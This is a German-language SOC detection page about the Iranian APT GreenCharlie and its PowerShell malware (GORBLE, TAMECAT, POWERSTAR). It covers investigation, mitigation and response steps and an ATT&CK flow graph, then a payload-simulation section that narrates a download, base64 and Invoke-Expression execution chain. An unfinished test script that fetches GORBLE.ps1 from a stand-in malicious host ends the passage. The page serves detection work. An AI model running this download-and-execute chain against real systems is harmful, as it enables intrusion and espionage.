GreenCharlie: Der SOC-Bericht über PowerShell-Exploits durch Iran-unterstützte APT
Detection stack
- AIDR
- Alert
- ETL
- Query
GreenCharlie PowerShell Exploit Zusammenfassung
GreenCharlie ist eine in Iran ansässige APT-Gruppe, die Cyber-Spionage mit einer mehrstufigen PowerShell-Malware-Familie (GORBLE, TAMECAT, POWERSTAR) betreibt. Die Gruppe registriert viele dynamische DNS-Domains für Phishing, verwendet verschleierte PowerShell-Skripte mit benutzerdefinierter Base64- und bitweiser Codierung und kommuniziert über HTTPS POST mit C2-Servern. Die Aktivitäten erreichten im Mai-August 2024 mit iranischen IPs und VPN-Diensten zur Verkehrsverschleierung ihren Höhepunkt.
Untersuchung
Analysieren Sie den Netzwerkverkehr auf Verbindungen zu bekannten DDNS-Domains und IP-Bereichen, die der Gruppe zugeordnet sind (z. B. *.ddnsgeek.com, *.dns-dynamic.net). Suchen Sie nach PowerShell-Ausführungsketten, die Base64-Dekodierung gefolgt von bitweisen NOT-Operationen durchführen, und nach Skripten, die ScriptBlock.Create oder Invoke-Expression aufrufen. Überwachen Sie die Prozessinjektion und die Ausführung von entschlüsselten Nutzlasten im Speicher. Korrelation von Warnungen mit ATT&CK-Techniken T1583.001, T1566.002, T1059.001, T1568.
Abschwächung
Implementieren Sie striktes PowerShell-Logging (ModuleLogging, ScriptBlockLogging) und erzwingen Sie den eingeschränkten Sprachmodus. Blockieren oder leiten Sie den Verkehr zu bekannten DDNS-Anbietern und verdächtigen TLDs (.info, .xyz, .icu, .network, .online, .site) um. Setzen Sie DNS-Sandboxing und URL-Filterung für Phishing-Domains ein. Verwenden Sie Endpoint Detection and Response (EDR)-Lösungen, um verschleierte PowerShell-Skripte und AES-Entschlüsselung im Speicher zu erkennen. Erzwingen Sie das Prinzip der minimalen Rechte für Dienstkonten und deaktivieren Sie unnötige Remoteausführungstools.
Reaktion auf die GreenCharlie-Bedrohung
Wenn ein Indikator erkannt wird, isolieren Sie den betroffenen Host, erfassen Sie den flüchtigen Speicher und sammeln Sie PowerShell-Protokolle. Führen Sie eine forensische Analyse durch, um die dekodierte Nutzlast zu extrahieren und C2-Server zu identifizieren. Widerrufen Sie kompromittierte Anmeldeinformationen, rotieren Sie Geheimnisse und entfernen Sie verwandte geplante Aufgaben oder Persistenzmechanismen. Teilen Sie Bedrohungsinformationen zu IOCs (Domains, IPs, Hash-Werte) mit relevanten ISACs und aktualisieren Sie die Erkennungsregeln entsprechend.
graph TB %% Class Definitions classDef technique fill:#ffcc99 classDef action fill:#99ccff classDef process fill:#ccffcc classDef data fill:#f0e68c %% Nodes start[„<b>Start</b>: Initialer Auslöser der Ausführung“] class start action tech_execution[„<b>Technik</b> – T1059.001<br /><b>PowerShell</b>: Ausführung eines Skripts zum Herunterladen der Nutzlast“] class tech_execution technique process_download[„<b>Prozess</b>: Herunterladen der Nutzlast der zweiten Stufe“] class process_download process tech_obf1[„<b>Technik</b> – T1027.008<br />Reduzierte Nutzlasten (Base64 + NOT)“] class tech_obf1 technique tech_obf2[„<b>Technik</b> – T1027.014<br />Polymorpher Code (variantenbasierte Kodierung)“] class tech_obf2 technique tech_decode[„<b>Technik</b> – T1140<br />Dekodieren / Entschleiern der Nutzlast“] class tech_decode technique tech_dns[„<b>Technik</b> – T1071.004<br />DNS-Anwendungsschichtprotokoll“] class tech_dns technique tech_dga[„<b>Technik</b> – T1568.002<br />Domain-Generierungs-Algorithmus“] class tech_dga technique tech_web[„<b>Technik</b> – T1102.002<br />HTTPS-Webdienst mit bidirektionaler Kommunikation“] class tech_web technique tech_encrypt[„<b>Technik</b> – T1573<br />AES-verschlüsselter Kanal“] class tech_encrypt technique data_exfil[„<b>Daten</b>: Systeminformationen (Betriebssystem, Computername)“] class data_exfil data tech_exfil[„<b>Technik</b> – T1041<br />Exfiltration über den C2-Kanal“] class tech_exfil technique %% Connections start u002du002d>|löst aus| tech_execution tech_execution u002du002d>|lädt herunter| process_download process_download u002du002d>|verschleiert mit| tech_obf1 process_download u002du002d>|wendet an| tech_obf2 process_download u002du002d>|dekodiert durch| tech_decode tech_decode u002du002d>|kommuniziert über| tech_dns tech_dns u002du002d>|verwendet| tech_dga tech_dns u002du002d>|kommuniziert über| tech_web tech_web u002du002d>|verschlüsselt den Verkehr mit| tech_encrypt tech_encrypt u002du002d>|transportiert| data_exfil data_exfil u002du002d>|gesendet über| tech_exfil
Angriffsfluss
GreenCharlie PowerShell-Erkennungsregeln
Erkennung von GreenCharlie APT PowerShell Malware-Frameworks [Windows Powershell]
Ansehen
Mögliche Dateninfiltration / -exfiltration / C2 über Drittdienste / -werkzeuge (via Proxy)
Ansehen
IOCs (IP) zum Erkennen: GreenCharlie APT: Irans PowerShell-basierte Cyber-Spionagekampagnen
Ansehen
IOCs (E-Mails) zum Erkennen: GreenCharlie APT: Irans PowerShell-basierte Cyber-Spionagekampagnen
Ansehen
Payload-Simulationsanweisungen
-
Angriffserzählung & Befehle:
Stufe 1 – Den bösartigen Loader abrufen:
Der Angreifer verwendetInvoke-WebRequestum ein PowerShell-Skript namens GORBLE.ps1 von einem C2-Server herunterzuladen.Stufe 2 – Die Nutzlast kodieren:
Das heruntergeladene Skript enthält die bösartige Nutzlast. Der Angreifer kodiert das gesamte Skript base64 und speichert es in einer Variablen$x.Stufe 3 – Ausführung über hochriskantes Cmdlet:
Verwendung vonInvoke-Expression, der Angreifer dekodiert$xon-the-fly und führt es aus, indem er das GORBLE-Framework aufruft.Stufe 4 – Seitliche Bewegung (optional):
Die Nutzlast kann späterScriptBlock.Createmit einem bitweise NOT-obfuskierten String aufrufen, um einen zweiten PowerShell-Befehl auf einem entfernten Host auszuführen. -
Regressionstest-Skript:
# ------------------------------------------------- # GreenCharlie APT PowerShell Framework Simulation # ------------------------------------------------- # 1. Download des bösartigen Frameworks simulieren (Stichwort GORBLE) $maliciousUrl = "http://malicious.example.com/GORBLE.ps1" $downloaded = @" # GORBLE - simulierter bösartiger Payload